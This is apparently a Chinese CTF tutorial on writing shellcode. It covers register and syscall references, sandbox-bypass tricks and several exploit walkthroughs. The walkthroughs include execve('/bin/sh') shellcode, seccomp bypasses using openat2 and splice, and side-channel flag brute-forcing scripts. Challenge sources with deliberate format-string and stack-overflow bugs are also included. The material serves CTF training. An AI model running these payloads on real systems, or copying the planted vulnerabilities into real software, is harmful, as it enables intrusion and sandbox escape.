SHELLCODE提权从入门到精通
结合出题源码对应分析从小比赛到大比赛的shellcode类型考察点以及对应的解题思路,并且给出常用的对应的shellcode的套用模版
寄存器资料
RAX
位宽 | 表示 | 说明 |
64 位 | RAX | 完整寄存器,存储 64 位数据 |
32 位 | EAX | RAX 的低 32 位 |
16 位 | AX | RAX 的低 16 位 |
8 位 | AL/AH | AL:AX 的低 8 位 AH:AX 的高 8 位 |
RDI
位宽 | 表示 | 说明 |
64 位 | RDI | 完整寄存器 |
32 位 | EDI | RDI 的低 32 位 |
16 位 | DI | RDI 的低 16 位 |
8 位 | DIL | RDI 的低 8 位 |
RSI
位宽 | 表示 | 说明 |
64 位 | RSI | 完整寄存器 |
32 位 | ESI | RSI 的低 32 位 |
16 位 | SI | RSI 的低 16 位 |
8 位 | SIL | RSI 的低 8 位(仅低字节可用) |
RDX
位宽 | 表示 | 说明 |
64 位 | RDX | 完整寄存器 |
32 位 | EDX | RDX 的低 32 位 |
16 位 | DX | RDX 的低 16 位 |
8 位 | DH | DH:DX 的高 8 位DL:DX 的低 8 位 |
指令解析
mov
48 c7 c0 08 00 00 00 mov rax,0x8
b8 08 00 00 00 mov eax,0x8
66 b8 08 00 mov ax,0x8
b0 08 mov al,0x8ADD/SUB
48 05 ff 00 00 00 add rax,0xff
05 ff 00 00 00 add eax,0xff
66 05 ff 00 add ax,0xff
04 ff add al,0xff
48 83 c0 7f add rax,0x7f
83 c0 7f add eax,0x7f
66 83 c0 7f add ax,0x7f
04 7f add al,0x7fPUSH/POP
50 push rax
57 push rdi
56 push rsi
52 push rdx
54 push rsp
55 push rbp
58 pop rax
5f pop rdi
5e pop rsi
5a pop rdx
5c pop rsp
5d pop rbpXOR
48 31 c0 xor rax,rax
31 c0 xor eax,eax
66 31 c0 xor ax,ax
30 c0 xor al,al部分系统调用所涉及寄存器参数情况
open
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 | 立即数 |
|
| 第一个参数(文件路径) | 指针 | 64 位指针 |
| 第二个参数(打开标志) | 位掩码 |
|
| 第三个参数(文件权限) | 八进制数 | 例如: |
| 第四个参数(可选标志) | 位掩码 | 0(只读忽略) |
openat
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
rax | 系统调用号 | 立即数 | 257 |
rdi |
| 整数或特殊常量 | 目录文件描述符:• |
rsi |
| 指针 | 文件路径字符串的地址(64 位指针),指向用户空间内存中的路径名(如 |
rdx |
| 位掩码 | 文件打开标志(按位或组合): • |
r10 |
| 八进制数 | 文件权限模式(仅当 |
mprotect
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 | 立即数 |
|
| 第一个参数(起始地址) | 指针 | 需修改权限的内存起始地址,必须按页对齐(如 |
| 第二个参数(长度) | 无符号整数 | 修改的内存区域长度(字节),需为页大小的整数倍(如 |
| 第三个参数(保护属性) | 位掩码 | 权限标志的组合 |
openat2
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 | 立即数 |
|
| 第一个参数(目录文件描述符) | 整数 | 参照目录的文件描述符(如 |
| 第二个参数(路径名) | 指针 | 要打开文件的路径字符串地址(如 |
| 第三个参数(open_how结构体指针) | 指针 | 指向 |
| 第四个参数(open_how结构体大小) | 无符号整数 |
|
rdi == 0xffffff9c
rsi 指向”flag”字符串
rdx指向一片为0的空间
r10为24
rax == 437
asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x20,0x18))splice
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
rax | 系统调用号 | 立即数 | 根据架构和内核版本不同而变化,例如在 x86-64 Linux 5.x 及以上版本中通常为 0x113(建议通过 |
rdi |
| 整数文件描述符 | 源文件描述符。必须是一个支持 |
rsi |
| 指针(指向 | 输入偏移量指针。指定从 |
rdx |
| 整数文件描述符 | 目标文件描述符。必须是一个支持 |
r10 |
| 指针(指向 | 输出偏移量指针。指定写入到 |
r8 |
| 无符号整数( | 希望传输数据的最大长度(以字节为单位)。实际传输的字节数可能小于此值 。 |
r9 |
| 无符号整数的位掩码(按位或组合) | 控制传输行为的标志: • |
读写:从管道读,写入管道
第一次 splice(fd, NULL, pipefd[1], NULL, 0x1000, 0),把文件进内核管道;
第二次 splice(pipefd[0], NULL, 1, NULL, 返回字节数, 0),输出到 stdout;
sendfile
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 | 立即数 |
|
| 第一个参数(目标文件描述符 | 整数 | 数据要写入的目标文件描述符(例如,一个已连接的套接字描述符)。在Linux 2.6.33之后的内核中,它也可以是普通文件。 |
| 第二个参数(源文件描述符 | 整数 | 数据来源的文件描述符(例如,一个已打开的普通文件)。必须是一个支持类似 |
| 第三个参数(偏移量 | 指针 | 指向 |
| 第四个参数(传输字节数 | 无符号整数 | 指定要传输的最大字节数。 |
close
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 (x86_64架构) | 立即数 |
|
| 第一个参数 (文件描述符 | 整数 | 需要关闭的文件描述符,必须是已打开且有效的描述符(例如由 |
mmap
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
| 系统调用号 (x86_64架构) | 立即数 |
|
| 第一个参数 ( | 指针 | 建议的映射起始地址。通常传入 |
| 第二个参数 ( | 无符号整数 | 需要映射的区域的长度(以字节为单位)。长度应按页面大小(通常为4KB)进行对齐处理 。 |
| 第三个参数 ( | 整数 | 内存区域的保护标志,用于指定访问权限(如可读、可写、可执行)。可以是 |
| 第四个参数 ( | 整数 | 控制映射行为的标志。必须指定 |
| 第五个参数 ( | 整数 | 被映射文件的文件描述符。如果使用匿名映射( |
| 第六个参数 ( | 整数 | 文件映射的起始偏移量。通常设置为 |
标志宏 | 常见数值(十六进制) | 常见数值(十进制) | 说明 |
MAP_SHARED |
| 1 | 共享映射,对内存的修改对所有映射此区域的进程可见,并且(如果是文件映射)会写回底层文件。 |
MAP_PRIVATE |
| 2 | 私有映射,对内存的修改是进程私有的,不会影响其他映射对象或底层文件。 |
MAP_ANONYMOUS |
| 32 | 创建匿名映射,该映射不与任何文件关联,其内容初始化为零。在某些系统上也称为 |
pipe
27: 48 c7 c0 16 00 00 00 mov rax,0x16
2e: 48 8d 7c 24 f8 lea rdi,[rsp-0x8]
33: 48 c7 c6 00 00 00 00 mov rsi,0x0
3a: 0f 05 syscall
分别是 读写:读管道写管道pipe
寄存器 | 用途 | 数值类型 | 具体数值/说明 |
rax | 系统调用号 | 立即数 | 在 x86-64 Linux 中通常为 22(建议通过 |
rdi |
| 指针 | 指向一个包含两个整数的数组首地址,用于接收管道两端的文件描述符。 |
| |||
| 系统调用号 (x86_64) | 立即数 |
|
| 第一个参数 ( | 整数 | 需要被复制的、已打开的文件描述符。 |
返回值( | 新的文件描述符 | 整数 | 成功时返回当前可用的最小文件描述符编号,与 |
| |||
| 系统调用号 (x86_64) | 立即数 |
|
| 第一个参数 ( | 整数 | 需要被复制的、已打开的文件描述符。 |
| 第二个参数 ( | 整数 | 指定复制后的目标文件描述符编号。如果 |
返回值( | 新的文件描述符 | 整数 | 成功时返回 |
| |||
| 系统调用号 (x86_64) | 立即数 |
|
| 第一个参数 ( | 整数 | 需要被复制的、已打开的文件描述符。 |
| 第二个参数 ( | 整数 | 指定复制后的目标文件描述符编号。如果 |
| 第三个参数 ( | 整数 | 用于控制行为的标志位。目前唯一支持的标志是 |
返回值( | 新的文件描述符 | 整数 | 成功时返回 |
做题技巧
向栈中写入数据后用push&pop传参
0: 54 push rsp
1: 5e pop rsi
2: 31 ff xor edi,edi
4: 31 d2 xor edx,edx
6: b2 ff mov dl,0xff
8: 30 c0 xor al,al
a: 0f 05 syscall更短的shellcode
尽量使用pop/push
尽量使用xor
尽量使用xchg
清零edx的时候使用cdq
;6A0058
push 0
pop rax
; 5358 假设rbx为0
push rbx
pop rax
;48C7C000000000
mov rax, 0
; B800000000
mov eax, 0
;31C0
xor eax, eax
; 4893 假设rbx为0
xchg rax, rbx
;93 假设ebx为0
xchg eax, ebxban了syscall的情况
写入的shellcode是0x151f,然后异或来call一下
mov ax,0x1010
xor [rip+0x10],ax其他
lea rsp, [rip]获得程序执行地址
沙盒绕过
使用openat/openat2代替open
使用readv/pread64/preadv/preadv2代替read
使用writev/sendfile/pwrite64/pwritev/pwritev2代替write
使用mmap2代替mmap
远程链接socket&connect
mmap(start, len, 7, 34, 0, 0)
侧信道爆破–逐个
汇编·判断指令
cmp指令:cmp <arg1> : <arg2>
计算<arg1> - <arg2>的结果但是不保存,仅仅对标志位进行设置,有以下几种情况:
arg1 = arg2:zf = 1arg1 != arg2:zf = 0arg1 >= arg2:cf = 0arg1 > arg2:cf = 0且zf = 0arg1 <= arg2:cf = 1且zf = 1
汇编·跳转指令
- 基于特定的标志位
-
- jz:为零跳转,zf = 1
- jnz:非零跳转,zf = 0
- jc:进位跳转,cf = 1
- jnc:无进位跳转,cf = 0
- 基于相等性的跳转
-
- je:相等跳转,zf = 1
- jne:不相等跳转,zf = 0
- 基于无符号数比较的跳转
-
- ja:大于跳转,cf = 0且zf = 0
- jna:不大于跳转,cf = 1且zf = 1
- jb:小于跳转,cf = 1
- jnb:不小于跳转,cf = 0
脏管道
0: 48 31 ff xor rdi,rdi
3: 83 ef 64 sub edi,0x64
6: 68 66 6c 61 67 push 0x67616c66
b: 48 89 e6 mov rsi,rsp
e: 6a 00 push 0x0
10: 6a 00 push 0x0
12: 6a 00 push 0x0
14: 48 89 e2 mov rdx,rsp
17: 49 c7 c2 18 00 00 00 mov r10,0x18
1e: 48 c7 c0 b5 01 00 00 mov rax,0x1b5
25: 0f 05 syscall
27: 48 c7 c0 16 00 00 00 mov rax,0x16
2e: 48 8d 7c 24 f8 lea rdi,[rsp-0x8]
33: 48 c7 c6 00 00 00 00 mov rsi,0x0
3a: 0f 05 syscall
3c: 48 c7 c0 13 01 00 00 mov rax,0x113
43: 48 c7 c7 03 00 00 00 mov rdi,0x3
4a: 48 c7 c6 00 00 00 00 mov rsi,0x0
51: 48 8b 54 24 fc mov rdx,QWORD PTR [rsp-0x4]
56: 49 c7 c2 00 00 00 00 mov r10,0x0
5d: 49 c7 c0 00 10 00 00 mov r8,0x1000
64: 49 c7 c1 00 00 00 00 mov r9,0x0
6b: 0f 05 syscall
6d: 48 c7 c0 13 01 00 00 mov rax,0x113
74: 48 8b 7c 24 f8 mov rdi,QWORD PTR [rsp-0x8]
79: 48 c7 c6 00 00 00 00 mov rsi,0x0
80: 48 c7 c2 01 00 00 00 mov rdx,0x1
87: 49 c7 c2 00 00 00 00 mov r10,0x0
8e: 49 c7 c0 00 10 00 00 mov r8,0x1000
95: 49 c7 c1 00 00 00 00 mov r9,0x0
9c: 0f 05 syscallpayload+=b'\x48\x31\xFF\x83\xEF\x64\x68\x66\x6C\x61\x67\x48\x89\xE6\x6A\x00\x6A\x00\x6A\x00\x48\x89\xE2\x49\xC7\xC2\x18\x00\x00\x00\x48\xC7\xC0\xB5\x01\x00\x00\x0F\x05'
payload+=b'\x48\xC7\xC0\x16\x00\x00\x00\x48\x8D\x7C\x24\xF8\x48\xC7\xC6\x00\x00\x00\x00\x0F\x05'
payload+=b'\x48\xC7\xC0\x13\x01\x00\x00\x48\xC7\xC7\x03\x00\x00\x00\x48\xC7\xC6\x00\x00\x00\x00\x48\x8B\x54\x24\xFC\x49\xC7\xC2\x00\x00\x00\x00\x49\xC7\xC0\x00\x10\x00\x00\x49\xC7\xC1\x00\x00\x00\x00\x0F\x05'
payload+=b'\x48\xC7\xC0\x13\x01\x00\x00\x48\x8B\x7C\x24\xF8\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x01\x00\x00\x00\x49\xC7\xC2\x00\x00\x00\x00\x49\xC7\xC0\x00\x10\x00\x00\x49\xC7\xC1\x00\x00\x00\x00\x0F\x05'
payload+=b'\x90'*0x5section .text
global _start
_start:
; 步骤 1: 创建管道 (pipe syscall)
mov rax, 22 ; syscall number for pipe (x86-64)
lea rdi, [rsp-8] ; 在栈上分配空间存储管道fd [pipe_fd[0], pipe_fd[1]]
mov rsi, 0
syscall
cmp rax, 0
jl exit ; 如果pipe调用失败则退出
; RDI现在指向pipe_fd数组
; pipe_fd[0]是读取端, pipe_fd[1]是写入端
; 步骤 2: 第一次splice - 从fd=3移动到管道写入端
mov rax, 275 ; syscall number for splice
mov rdi, 3 ; fd_in: 源文件描述符 (fd=3)
mov rsi, 0 ; off_in: 无偏移
mov rdx, [rsp-4] ; fd_out: 管道写入端 (pipe_fd[1]),注意x86小端字节序,[rsp-4]是pipe_fd[1]的地址
mov r10, 0 ; off_out: 无偏移
mov r8, 0x1000 ; len: 每次传输4096字节
mov r9, 0 ; flags: 0
syscall
cmp rax, 0
jl cleanup ; 如果splice失败,跳转到清理环节
; RAX现在包含实际传输的字节数
; 步骤 3: 第二次splice - 从管道读取端移动到fd=1 (stdout)
mov rax, 275 ; syscall number for splice
mov rdi, [rsp-8] ; fd_in: 管道读取端 (pipe_fd[0])
mov rsi, 0 ; off_in: 无偏移
mov rdx, 1 ; fd_out: 目标文件描述符 (stdout, fd=1)
mov r10, 0 ; off_out: 无偏移
mov r8, 0x1000 ; len: 传输4096字节 (或剩余数据)
mov r9, 0 ; flags: 0
syscall
cleanup:
; 关闭管道描述符 (可选的清理步骤,在shellcode中有时省略)
mov rax, 3 ; syscall number for close
mov rdi, [rsp-8] ; 关闭管道读取端
syscall
mov rax, 3
mov rdi, [rsp-4] ; 关闭管道写入端
syscall
exit:
mov rax, 60 ; syscall number for exit
mov rdi, 0 ; exit code
syscall例题二 jmp $-xx控制执行流回流
题目漏洞
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mprotect((void *)((unsigned __int64)bss & 0xFFFFFFFFFFFFF000LL), 0x3000uLL, 7);
puts("Input something you want to execute");
puts("Please input :)");
read(0, bss, 0xAuLL);
if ( strlen(bss) > 3 )
{
puts("Too many");
exit(0);
}
(*(void (**)(void))bss)();
exit(0);
}执行过程中的shellcode的情况
RAX 0
RBX 0
RCX 0x7ffff7d14852 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x555555558060 (bss) ◂— 0xa6161 /* 'aa\n' */
RDI 0x555555558060 (bss) ◂— 0xa6161 /* 'aa\n' */
RSI 0x555555558060 (bss) ◂— 0xa6161 /* 'aa\n' */
R8 0xf
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7fc3908 ◂— 0xd00120000000e
R11 0x246
R12 0x7fffffffe328 —▸ 0x7fffffffe611 ◂— '/home/ziran/Desktop/0xgame/pwn13'
R13 0x555555555230 (main) ◂— endbr64
R14 0x555555557d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551a0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffe210 ◂— 1
*RSP 0x7fffffffe1f8 —▸ 0x5555555552e0 (main+176) ◂— mov edi, 0
*RIP 0x555555558060 (bss) ◂— 0xa6161 /* 'aa\n' */第一写入read,第二次写入read并且通过$控制rip再次返回callread,第三次写入system执行
exp
shell = asm('''
add al, al
push 0xf
pop rdx
xor rdi, rdi
syscall
''')
shell2 = asm('''
mov dl, 0xff
xor eax, eax
syscall
nop
nop
nop
nop
jmp $-10
''')
shell3 = asm('''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
''')
print(len(shell2))
rt("Please input :)")
s(shell)
shell2 = shell2.ljust(0xf,b'\0')
s(shell2)
s(b'a' * 6 + shell3)例题三:利用cmp比较实现侧信道
题目
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rbx
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rcx
__int64 v7; // rbx
__int64 v8; // rdx
__int64 v9; // r8
__int64 v10; // r9
size_t len; // [rsp+0h] [rbp-70h]
_QWORD *v13; // [rsp+8h] [rbp-68h]
_QWORD buf[6]; // [rsp+10h] [rbp-60h] BYREF
__int64 v15; // [rsp+40h] [rbp-30h]
__int64 v16; // [rsp+48h] [rbp-28h]
unsigned __int64 v17; // [rsp+58h] [rbp-18h]
v17 = __readfsqword(0x28u);
sub_1400(a1, a2, a3);
puts("Welcome ~");
len = getpagesize();
v13 = mmap(init_proc, len, 7, 34, 0, 0);
read(0, buf, 0x40u);
v3 = buf[1];
*v13 = buf[0];
v13[1] = v3;
v4 = buf[3];
v13[2] = buf[2];
v13[3] = v4;
v5 = buf[5];
v13[4] = buf[4];
v13[5] = v5;
v6 = v15;
v7 = v16;
v13[6] = v15;
v13[7] = v7;
prctl(0, (__int64)buf, v8, v6, v9, v10);
((void (__fastcall *)(_QWORD))v13)(0);
return 0;
}禁用了write之类的函数
这里的这个数组名与数组的技巧可以去学习一下
v3 = buf[1];
*v13 = buf[0];
v13[1] = v3;侧信道的调试型模版
前一部分是用来调试程序的大体功能,后一个部分是用来测试侧信道的准确性
from pwn import *
context.arch="amd64"
context.os='linux'
context.endian="little"
context.log_level="error"
possible_char="1}" #这个需要去改
possible_char_ascii = [ord(x) for x in possible_char]
sd = '''
nop
nop
nop
nop
nop
nop
'''
'''
p = process("./shellcode")
gdb.attach(p,"b *$rebase(0x1511)")
sleep(0.5)
p.send(asm(sd))
p.interactive()
'''
#sd1用来把flag吸入一个地址
sd1 = """
"""
#修改rax为指令flag存储的地址
#第一个{}是flag的偏移位数
#第二个{}是尝试的可能的ascii字符
sd2 = '''
push 0x10000
pop rax
mov bl,byte ptr [rax+{}]
cmp bl,{}
je $-6
'''
sd_save = '''
'''
flag = 'flag{'
index = 5
n = 32
attempt = 1
while 1:
#for i in range(1):
tube_check = True
for attempt in possible_char_ascii:
io = process("./shellcode")
#pause()
sd = sd1+sd2.format(index, attempt)
sd = asm(sd)
#print(len(sd))
#sd = sd.ljust(0x38,b'\x00')
#sd += b'./flag\x00\x00'
#print(len(sd))
#io.recvuntil(b'Welcome ~\n')
io.send(sd)
tube_check = io.can_recv(timeout=3)
io.close()
if not tube_check:
flag += chr(attempt)
print(f"current flag: {flag}")
break
if flag.endswith("}"):
break
if tube_check:
print("something wrong...")
continue
index += 1
print(flag)出bug可以加上调试信息
#print(type(sd1))
#print(type(sd2))下面这个可以插入进行首次调试
# if index == 5 and attempt == possible_char_ascii[0]:
# gdb.attach(p, "b *$rebase(0x1511)")
# sleep(0.5) # 延长等待时间
# p.interactive()例题四:纯字符shellcode
环境准备
这里我用的是ae64,这个工具的话环境配置起来方便
git clone https://github.com/veritas501/ae64.git克隆下来之后,就可以进入这个目录下
之后进入这个目录下就行了
可能会卡住,多运行几次就行了
sudo python3 setup.py install题目源码
沙盒装载(prctl)装载方式
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,arch))),
BPF_JUMP(BPF_JMP| BPF_JEQ,AUDIT_ARCH_X86_64,0,3),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,nr))),
BPF_JUMP(BPF_JMP| BPF_JEQ,__NR_execve,1,0),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
int sign = 0;
void sandbox(){
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("prctl(NO_NEW_PRIVS)");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
perror("prctl(SECCOMP)");
exit(1);
}
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
char buf[0x200];
int i = 0;
init();
sandbox();
memset(buf,0,0x200);
size_t n = read(0,buf,0x200);
for(i=0;i<=n;i++){
unsigned char ch = buf[i]; //解码
if(96<ch<97+26||64<ch<65+26||47<ch<48+10){
sign = 1;
break; //提前退出
}
}
if(sign){
puts("start your shellcode");
void (*func)() = (void (*)())buf;
func();
}
else{
puts("you have some error in your shellcode");
}
}题目编译
gcc -z execstack -fno-stack-protector -no-pie -o vuln vuln.cexp
系统调用 | syscall 号 | rdi (arg0) | rsi (arg1) | rdx (arg2) |
| 2 |
|
|
|
| 0 |
|
|
|
| 1 |
|
|
|
64-bit | 32-bit | 16-bit | 低 8-bit | 高 8-bit(仅 ax/dx 有) |
|
|
|
|
|
|
|
|
|
|
|
|
|
| ❌ 无 |
|
|
|
| ❌ 无 |
exp
from pwn import *
from ae64 import AE64
io = process("./pwn")
#open()
#read()
#write()
obj = AE64()
sd = b"\x68\x66\x6C\x61\x67\x48\x89\xE7\x48\x31\xF6\x6A\x02\x58\x0F\x05\x48\x89\xC7\x48\x89\xE6\x80\xF2\x60\x30\xC0\x0F\x05\x40\x80\xF7\x01\x48\x89\xE6\x6A\x01\x58\x0F\x05"
sd = obj.encode(sd,'rdx') #这个是rdx指向的位置
gdb.attach(io)
sleep(2)
print(len(sd))
io.send(sd)
io.interactive()内置的汇编指令的处理有问题多少,所以直接找了一个在线网站生成了字节码
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
xor dl,0x60
xor al,al
syscall
xor dil,1
mov rsi,rsp
push 1
pop rax
syscall例题五,反调试
一般fork子进程的,通过这个方式就能完成反调试
io = gdb.debug('./pwn2', 'set follow-fork-mode child\nb *$rebase(0x164B)\nc')exp
#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 1
file_name = "./pwn2"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def create_io():
global io , duan , elf , libc
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
#io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
io = gdb.debug('./pwn2', 'set follow-fork-mode child\nb *$rebase(0x164B)\n')#c
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
sp()
else:
io = remote(host,port)
elf = ELF(file_name)
libc = None# ELF('./libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def ak1():
possible_char="1}" #这个需要去改
possible_char_ascii = [ord(x) for x in possible_char]
#sd1用来把flag吸入一个地址
sd1 = """
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
xor dl,0x60
xor al,al
syscall
"""
#修改rax为指令flag存储的地址
#第一个{}是flag的偏移位数
#第二个{}是尝试的可能的ascii字符
sd2 = '''
mov rax,rsp
mov bl,byte ptr [rax+{}]
cmp bl,{}
je $-6
'''
flag = 'flag{'
sd1 = b"\x68\x66\x6C\x61\x67\x48\x89\xE7\x48\x31\xF6\x6A\x02\x58\x0F\x05\x48\x89\xC7\x48\x89\xE6\x80\xF2\x60\x30\xC0\x0F\x05"
index = 5
n = 32
attempt = 1
while 1:
#for i in range(1):
tube_check = True
for attempt in possible_char_ascii:
io = gdb.debug('./pwn2', 'set follow-fork-mode child\nb *$rebase(0x164B)\n')#c
sd = sd1+asm(sd2.format(index, attempt))
pr(len(sd))
io.send(sd)
tube_check = io.can_recv(timeout=3)
pause()
io.close()
if not tube_check:
flag += chr(attempt)
print(f"current flag: {flag}")
break
if flag.endswith("}"):
break #重度
if tube_check:
print("something wrong...")
continue #轻度
index += 1
print(flag)
def ak2():
sd = asm('''
nop
nop
nop
''')
for i in range(1):
s(sd)
if __name__ == '__main__':
create_io()
ak1()
it()
其他师傅做的
from pwn import *
context.arch = 'amd64'
flag = ''
p = process('./NepBox')
shellcode = asm(shellcraft.open("./flag",0,0))+asm(shellcraft.read(3,0xDEAF000,0x100))
shellcode += asm('''
mov r9,0xDEAF000
mov r10,0
loop1:
mov bl,[r9+r10]
cmp bl,0
jz end
mov r8,0
loop2:
test bl,0x1
jnz write
jz read
back:
shr bl,1
inc r8
cmp r8,8
jnz loop2
inc r10
cmp r10,0x20
jz end
jnz loop1
write:
mov rdi,1
mov rax,1
syscall
jmp back
read:
mov rdi,3
mov rsi,0xDEAE000
mov rdx,0
mov rax,0
syscall
jmp back
end:
ret
''')
p.sendlineafter('ght!\n',shellcode)
p.recvuntil(';\n')
flag = ''
try:
for i in range(0x20):
ch = 0
for j in range(8):
if p.recvline().find(b'!')!= -1:
ch |= 1<<j
flag += chr(ch)
print(flag)
except:
pass
p.interactive()类型六:限制空间的shellcode
这个是通过seccomp装载的,不是通过prctl装载的,这个在装载过程是有漏洞可以利用的
题目源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <errno.h>
int a;
void init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello(){
puts("Welcome to PCTF!");
puts("Have you heard of orw?");
puts("Maybe it's can try other approaches?");
puts("It's your time to shine now.");
}
void menu(){
puts("1. Do you long for a special addr?");
puts("2. Do you want to getshell?");
puts("3. But no matter how hard they try to persuade,some people just won't stay");
puts("4. In a word, I think that persist in pursuing curtain people is right or wrong choice.");
}
scmp_filter_ctx ctx;
void choice(){
int a;
int ret;
printf("Make your choice : \n");
scanf("%d", &a);
switch(a){
case 1:
puts("You chose a special addr!");
printf("special addr :%p\n",&a);
break;
case 2:
puts("You chose getshell!");
ret = seccomp_load(ctx);
if (ret < 0) {
perror("seccomp_load failed");
seccomp_release(ctx);
return;
}
seccomp_release(ctx);
vuln();
break;
case 3:
puts("why can't time flow backward!");
wait();
break;
case 4:
ret = seccomp_load(ctx);
seccomp_release(ctx);
shell();
default:
puts("Invalid choice!");
exit(-1);
}
}
void wait(){
char buf[24];
puts("Waiting...");
puts("Waiting...");
puts("I believe in miracles.");
scanf("%16s", buf);
printf(buf);
}
void seccomp() {
puts("Seccomp activated.");
ctx = seccomp_init(SCMP_ACT_ALLOW); // 默认允许所有系统调用
if (!ctx) {
perror("seccomp_init failed");
return;
}
int ret = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(execve), 0);
if (ret < 0) {
perror("seccomp_rule_add failed");
seccomp_release(ctx);
return;
}
}
int vuln(){
char buf[0x60];
read(0,buf,0x200);
return puts("congratulations!");
}
void shell(){
system("/bin/sh");
puts("Stay where you are until you let go.");
}
int main() {
init();
seccomp();
hello();
while(1){
menu();
choice();
}
return 0;
}其他的特殊类型
多进程的沙盒类问题
这个是我给iscc提供的一道题目
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/wait.h>
#include <sys/mman.h> // 包含 mmap 和相关标志的定义
#include <fcntl.h>
#include <stdint.h>
void* thread_func(void * arg){
memset((void*)0x1337000, 0x41, 0xFE0);
usleep(100);
}
void setup_seccomp(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init fail");
exit(EXIT_FAILURE);
}
// 正确重定向标准输入到 /dev/null
close(0);
int fd = open("/dev/null", O_RDONLY);
if (fd < 0) {
perror("open /dev/null fail");
exit(EXIT_FAILURE);
}
if (fd != 0) {
dup2(fd, 0);
close(fd);
}
// 添加系统调用白名单规则
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(pipe), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(splice), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
if (seccomp_load(ctx) < 0) {
perror("seccomp_load fail");
exit(EXIT_FAILURE);
}
seccomp_release(ctx);
}
void init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void welcome(){
printf("Welcome to pwn!\n");
puts("this is a special challenge");
}
void menu(){
puts("I believe you are a warrior, you can do it");
puts("first,play a little game with me");
puts("You will be eligible to take on the challenge after you pass the game");
}
const char base64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char* base64_encode(const uint8_t* input, size_t length) {
size_t output_len = 4 * ((length + 2) / 3);
char* output = malloc(output_len + 1);
if (!output) return NULL;
size_t i, j;
